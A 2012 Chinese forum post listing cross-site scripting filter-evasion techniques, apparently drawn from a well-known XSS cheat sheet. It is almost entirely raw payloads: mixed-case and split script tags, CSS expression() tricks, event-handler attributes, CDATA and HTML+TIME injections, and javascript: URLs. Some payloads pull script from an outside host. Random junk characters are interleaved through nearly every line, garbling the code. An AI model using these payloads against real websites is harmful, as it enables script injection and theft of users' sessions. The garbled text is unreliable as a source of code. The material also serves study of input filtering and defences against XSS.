找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2421|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1. 改变字符大小写
& V0 r( L; A! u2 ~
$ W% L9 t- \: q
5 F2 F, N+ l$ C4 a2 a2 ]! [
2 M" u7 u7 b% F* T$ E, k/ ?    <sCript>alert(‘d’)</scRipT>
1 Z+ j. G/ z$ t/ C4 o
7 O3 {$ v5 x$ L3 ~  z8 p2. 利用多加一些其它字符来规避Regular Expression的检查3 U3 U8 j( e2 O
/ f8 o# U, D+ G: K/ |
    <<script>alert(‘c’)//<</script>2 c6 y3 f% W2 X! G7 W
0 U2 h: w9 q' O# P$ r7 g6 D- ]
    <SCRIPT a=">" SRC="t.js"></SCRIPT>& c3 H! D' h2 G- q) q; }
% g" d$ I$ [* K0 @1 Y+ x3 G
    <SCRIPT =">" SRC="t.js"></SCRIPT>1 ~5 W2 E& m/ M3 u
1 i1 ?8 @/ W- x( p4 f4 W0 x
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>( |: a- C1 ?1 t8 E5 w( e: H
% E4 i* S# k3 X& N, a+ C
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>4 X. ~/ @! h* q6 P; Z6 L9 @

& Q( z% a$ m/ x* K* ?    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
! [& D9 ]$ e# R0 B8 K5 i7 U
% }4 O3 u: Z* W# W4 k; e2 Z    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
, w, l( K0 c  v4 D' z# y* a7 q0 r2 D* l( h' g( x
3. 以其它扩展名取代.js
. S/ a; j  L' I; G, \9 o; w. D5 Z- q% a: Y, z
    <script src="bad.jpg"></script>
5 K7 l7 G: S& H% D4 d7 P/ R9 U
- E) y4 E: q& w9 ?3 }4. 将Javascript写在CSS档里
6 a1 B. v5 b: K$ m. {7 v1 a, C$ o% a: N+ c' H2 w) G+ P. N
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
' F" Y9 J/ V, U9 |8 c+ |9 G6 Q7 v' t! x' S2 A
       example:* G$ E; k3 {  i  Q
( a) Q* L( ~$ q! h" B# j
          body {
  Z+ X* L. x5 X/ f% p; V& m7 P" P- D* ^$ i2 Q
               background-image: url(‘javascript:alert("XSS");’)( `! B6 k( I7 ?2 K

  s2 k4 O% A  {4 G9 V. U) `2 O          }4 g( T. R/ W: X
: D- r5 _' C% N
5. 在script的tag里加入一些其它字符
3 o$ t; b5 m' i# s( S& @
9 S7 [" m3 u, A/ G    <SCRIPT/SRC="t.js"></SCRIPT>/ L5 `. m: N7 H) O$ ]% I6 s0 p
9 e" P* \/ i# i# Z3 O' y3 c7 w
    <SCRIPT/anyword SRC="t.js"></SCRIPT>
, U% C2 z3 |, m; |" X1 m$ u0 S: z7 @  ]
6. 使用tab或是new line来规避  d6 S) z+ o1 `9 M% n

* I' o& A/ X$ O4 T) k3 V8 T- g    <img src="jav ascr ipt:alert(‘XSS3′)">; e% J) o# \, f# b9 ?7 N) ]* F& x) j
3 q' h% I6 u. t$ l$ j
    <img src="jav ascr ipt:alert(‘XSS3′)">' W: h! a( D* E  \+ F8 B1 H

/ n: J1 f+ P" n3 Z3 _* c4 z    <IMG SRC="jav ascript:alert(‘XSS’);">$ m! o$ M' c1 Z; A; u

/ w& [6 @7 ^" q         -> tag: e# c1 E( P1 w1 \/ |
& _4 |6 t/ ]: R% c8 G
         -> new line
8 {& _$ v/ @5 f5 d' p. A: z! ], M$ t2 E
7. 使用"\"来规避
1 ^. \, L7 v! Q) [/ p. l9 b3 T+ F$ H. B
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
6 c( k  |, o; m2 C* n0 s. W0 Q# z; S
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
! ^; _" I1 ?$ ?/ B. g  m) W8 x% Y# \( D( v: Z
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
0 @( V% [6 w( p1 S
. |- Q5 l  k. [  M. ~/ m    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">, f% V1 Z. L5 |! t9 Z" n+ }
6 c4 x, w( C- Z* h
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>8 K: N% |9 K7 l4 f  U
8 p1 f# b! {0 W  c$ Y
8. 使用Hex encode来规避(也可能会把";"拿掉)( ^% A* m8 a: I# [% U. K8 a  N6 v2 u) v$ _

8 d, D. x3 R$ f+ ~    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
$ ~3 |% O- o9 v& \3 j
* X( X* y2 z/ i* L& {+ q- A        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
7 V) |2 v# K& s8 J' V8 ]/ c& R# `8 s. U5 p* I
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 d9 ?$ H& _( J2 C, k

6 \# ?, M0 R) B5 B7 Z6 O! y        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
, _- _: ~7 T! w) j8 Z3 L/ ?6 Q/ ]
0 ]6 i$ S; X% R. c2 Q9. script in HTML tag" z% X8 b# F; e4 W

) ~* O* g, C: w, f3 t    <body onload=」alert(‘onload’)」>
6 U$ T0 Z5 c5 C8 U" H7 ]
& l" V% u# ?! g4 y        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
" N: S' e9 l( Z9 J9 P6 B9 K( Y: n# R, b
10. 在swf里含有xss的code
3 t! V% p/ n; X
) I  u  _% V; q0 Y) E* @3 O    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
/ I) t8 a2 O6 O' c. ~0 W8 {& A. F
! s- g! U7 m( M8 c2 Z7 S11. 利用CDATA将xss的code拆开,再组合起来。/ n/ ^/ N8 P5 |/ y9 {& t

% q- `7 h( i( s    <XML ID=I><X><C>% O; {# Q" {" ^/ Y/ X; y& z
9 o% K" o; f2 k  B
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
  f7 ]  B9 n$ V, y2 z2 i
( X1 G  X; c3 e2 F( x$ a! {' J    </C></X>
0 T5 @1 K/ U2 E% \& i6 b/ g- O! {/ `2 L' S
    </xml>; P: x" @8 t$ J: c8 w- i- V

+ x" ]; {  L6 u* p    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>& E$ k0 i1 E( c; K/ Y
" a4 d$ m; d9 G; \/ k# G9 f
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>/ X6 N. c; c; Q# h+ S

2 h0 r4 i3 h% {- ?    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
2 Y( _$ l: @# w8 j) ]9 M- g0 ]( R* i6 g7 b- W# n
12. 利用HTML+TIME。, j- b' V' U3 ^( f5 s: j

$ @2 t* ^8 V% t  y1 _* d    <HTML><BODY>
: }& q4 z* ?2 G/ s  S0 M; G% b2 x& i4 W; v, B& x: ]$ T
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">  [, B! `) y# Y

3 g& M! `5 M4 h1 D' _8 l    <?import namespace="t" implementation="#default#time2">
- w, f+ q5 [0 n5 @9 o. X+ n, w0 ^  T7 P
9 W( b  U$ z( g  {- f( |    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
: f2 _" o& P' g/ }, b* O# S
; P7 L. b1 k' H" M9 P/ q1 }! y    </BODY></HTML>
0 @6 a" L" s+ X6 z/ |7 a" ]) H( y! p5 V" D3 g; T% o) @3 T
13. 透过META写入Cookie。% @  k5 }% z7 T2 s( G: U6 n* J5 j
8 g1 X: P5 J2 `
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">) P! Y( X6 D  ]/ q" s
3 J$ c  m  l: b" _% l3 m6 h
14. javascript in src , href , url
  x. r: M8 T/ |) Z2 ~: M' @" B& s, o; a, @- ~" e
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>5 h( ^: `+ P5 Q
, {6 q; p& y7 r0 Z! n: n: U
    <img src="javascript:alert(‘XSS3′)">
/ w0 I8 M4 o% F! W6 [* s, I" \0 |. M( ~3 K& z( l! D, v7 e# v) ~
<IMG DYNSRC="javascript:alert(‘XSS20′)">. v( s" A4 I5 ?7 S3 r9 L6 n

$ Q8 Y, U+ }/ o1 H( b    <IMG LOWSRC="javascript:alert(‘XSS21′)">" i4 g$ B# W: |, ]

( @' H3 g9 V! Q$ u- d- X' }3 r    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
) w) p7 S; S0 R& n( c
, u6 x; l! J' F5 r    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
3 D2 s# Z. b1 b9 a( V& n
7 {* B( A& Y2 {- {# f    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">4 C. h3 e( n" J: w( k$ ]

  X0 z2 s' @9 p4 _0 X  P) a    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">* \0 r/ ~$ ?: U0 N3 K. z

7 s0 c; j& |, W* t# J3 H1 R    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
. B, f$ F) m+ t
2 Z1 A' x8 l6 g& ?    </STYLE><A CLASS=XSS></A>5 ~' L: l& E: `7 j
8 W! K- }' n5 N" m/ T3 C
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>& \. E4 ~' o. E+ @/ i$ \  L  Y1 {
3 R% s: M6 b7 h, T" b; t& w9 Z9 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表